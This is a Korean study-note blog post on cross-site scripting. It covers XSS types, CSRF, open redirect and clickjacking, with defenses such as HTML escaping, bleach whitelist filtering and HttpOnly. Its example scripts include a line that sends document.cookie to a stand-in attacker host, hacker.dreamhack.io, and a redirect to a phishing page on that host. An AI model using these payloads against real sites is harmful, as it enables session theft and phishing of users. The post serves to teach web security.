W3-2 XSS

hyuun01·2022년 9월 28일
0

WebHacking

목록 보기
5/12

1. 클라이언트 사이드 취약점

: 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점
ex) XSS

1) 목적

본인을 식별하기 위한 사용자 정보(쿠키에 저장된 세션 아이디)를 탈취
-> 사용자 권한을 얻기 OR 사용자의 브라우저에서 자바스크립트를 실행하여 사용자가 보낸 것처럼 요청을 전송

2) 예시

1> Cross Site Scripting (XSS)

: 공격자의 입력값이 크로스 사이트의 자바스크립트 일부로 웹 브라우저에서 실행되는 취약점

  • 실행된 스크립트는 해당 사이트의 일부가 됨
    -> SOP 제약 없이 사이트의 구조를 변경하거나 임의 HTTP 요청을 보낼 수 있음

2> Cross Site Request Forgery (CSRF)

  • CSRF 공격 : 비정상적으로 사용자의 의도와 무관하게 HTTP 요청을 보내는 것
  • Simple Request나 HTML 엘리먼트라면 SOP의 제약을 받지 않는다는 점을 이용

3> Open Redirect

: Redirect 기능을 악용
-> 피싱사이트로 접속을 유도 OR 다른 취약점을 연계하여 사용자를 공격

4> Click Hijacking

: 공격자가 생성한 버튼, 이미지와 같은 엘리먼트를 정상적인iframe 위에 겹쳐 올려 UI를 스푸핑
-> 사용자 의도와는 다른 작업을 수행하게 하는 취약점


2. XSS(Cross Site Scripting)

  • 웹 리소스에 악성 스크립트를 삽입
    -> 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있게 되는 취약점

    • 악성 스크립트
      : 브라우저가 실행할 수 있는 웹 리소스
      ex) HTML, JS, ...
  • 클라이언트 사이드 취약점 중 하나

  • 클라이언트 + 서버 에서 일어나는 취약점

c.f.) 원래 약어는 CSS여야 하지만 스타일시트를 정의하는 언어인 CSS와 중복되어 XSS를 약어로 사용

1) XSS 공격

공격 가능한 조건

1> 입력 데이터에 대한 충분한 검증 과정X

입력한 데이터가 충분한 검증 과정이 이루어지지X
-> 악성 스크립트가 삽입될 수 있어야

2> 서버의 응답 데이터가 웹 브라우저 내 페이지에 출력 시 충분한 검증 과정X

-> 응답 데이터 출력 시 악성 스크립트가 웹 브라우저의 렌더링 과정에 성공적으로 포함되어야

공격 방법

  • 공격자가 웹 리소스에 악성 스크립트를 삽입
    -> 이용자의 웹 브라우저에서 해당 스크립트를 실행 가능

공격 결과

  • 특정 계정의 셰션 정보 탈취 가능

  • 탈취한 계정으로 임의의 기능 수행 가능

  • SOP 보안 정책 등장으로 cross origin에서는 정보 읽기 힘들어짐
    B) 우회하는 다양한 기술 소개됨

공격 팁

  • XSS 취약점에 대한 정보를 공유할 때 alert 또는 prompt와 같은 메시지 창을 실행하는 이유?
    : XSS 취약점이 발생하였다는 점을 시각적으로 표현이 가능하기 때문

    • 주로 메시지 창에는 해당 페이지의 domain을 확인하기 위해 document.domain을 인자로 전달

2) XSS 발생 예시

  • 이용자가 삽입한 내용을 출력하는 기능에서 공격 발생

ex) 로그인 시 출력되는 "안녕하세요" 문구, 게시물, 댓글 등

  • HTML, CSS, JS와 같은 코드가 포함된 게시물 조회 시
    이용자가 변조된 페이지 보거나 스크립트 실행될 수 있음

3) XSS 종류

이름 설명
Stored XSS XSS에 사용되는 악성 스크립트가
서버에 저장되고
서버의 응답에 담겨오는 XSS
Reflected XSS XSS에 사용되는 악성 스크립트가
URL에 삽입되고
서버의 응답에 담겨오는 XSS
DOM-vased XSS XSS에 사용되는 악성 스크립트가
URL Fragment에 삽입되는 XSS
c.f.) Fragment는 서버 요청/응답에 포함되지X
Universal XSS 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로
SOP 정책을 우회하는 XSS

4) XSS 공격 코드 예시 : 자바스크립트 이용

1> 쿠키 및 세션 탈취 공격 코드 : document.cookie

<script>
// "hello" 문자열 alert 실행.
alert("hello");

// 현재 페이지의 쿠키(return type: string)
document.cookie; 

// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);

// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";

// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

2> 페이지 변조 공격 코드 : document.write

<script>
// 이용자의 페이지 정보에 접근.
document;

// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>

3> 위치 이동 공격 코드 : location.href / window.open("url")

<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 

// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>


3. Stored XSS

: 서버의 DB 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS

ex) 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식


4. Reflected XSS

: 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생

발생 방식

: URL 등 이용자의 요청에 의해 발생

  • 공격 위해서는 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야
    • 이용자에게 직접 링크 전달하는 방법
      : 이용자 눈치챌 수 있음
    • 주로 Click Jacking, Open Redirect 등 다른 취약점과 연계해 사용

ex) 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식
: 이용자가 게시물 검색하면 서버에서는 검색 결과 반환
: 일부 서비스에서는 검색 결과를 응답에 포함
-> 검색 문자열에 포함된 악성 스크립트 실행됨



5. XSS 방어기술

1) Server-side Mitigations

: XSS를 유발할 수 있는 태그 삽입을 방지하기 위해 서버 단에서 검증하는 방법

  • 사용자 입력 값에 HTML 형태를 지원해야 한다면?
    • 방법1> "화이트리스트 필터링"
    • 방법2> "사용자가 로그인할 때 세션에 로그인한 IP주소를 함께 저장하고, 사용자가 페이지를 접속할 때마다 현재 IP주소와 로그인 했던 IP주소의 동일 여부를 확인하는 방법"

1> 화이트리스트 필터링

: 허용해도 안전한 일부 태그, 속성을 제외한 모든 값을 필터링 하는 것

  • 요청의 URI Query 값이나 POST Body 값만 필터링 하는 것XXX
  • User-Agent, Referer와 같은 헤더도 모두 포함하여 사용자로부터 입력된 값에 모두 적용해야

ex) 게시글을 운영하는데 필요한 태그가 img, a 뿐이라면 img a를 제외한 나머지 모든 태그는 필터링해 없앰

# HTML Entity Encoding 예시
from jinja2 import utils
@app.route('/board/', methods=['GET', 'POST'])
def write():
    ...
    if request.method == 'POST':
        title = utils.escape(request.form.get('title'))
        content = utils.escape(request.form.get('content'))
        query = '...' % (...)
        ...
        return result
# 화이트리스트 필터링 예시
import bleach # https://github.com/mozilla/bleach
@app.route('/board/', methods=['GET', 'POST'])
def write():
    ...
    if request.method == 'POST':
        ALLOW_TAGS = ['a', 'p', 'h1', 'h2', 'h3']
        ALLOW_ATTRS = ['href']
        title = bleach.clean(request.form.get('title'), ALLOW_TAGS, ALLOW_ATTRS)
        content = bleach.clean(request.form.get('content'), ALLOW_TAGS, ALLOW_ATTRS)
        query = '...' % (...)
        ...
        return result

2> 사용자가 로그인할 때 세션에 로그인한 IP주소를 함께 저장하고, 사용자가 페이지를 접속할 때마다 현재 IP주소와 로그인 했던 IP주소의 동일 여부를 확인하는 방법

  • 공격자가 세션 ID를 탈취해도 피해자와 IP주소가 달라 피해자의 세션을 사용하지 못하게 하는 장점
    -> 과거에 널리 쓰임

  • 최근에는 Mobile 환경의 사용자가 점점 많아지면서 WiFi를 주로 이용 + 사용자가 이용하는 WiFi가 바뀔 때마다 사용자의 IP주소는 매번 바뀜
    -> 접속한 IP가 아닌 접속한 국가가 변경된 경우를 탐지하는 형태로 변형

2) HTTPOnly 플래그 사용

3) Content Security Policy 사용

4) X-XSS-Protection

0개의 댓글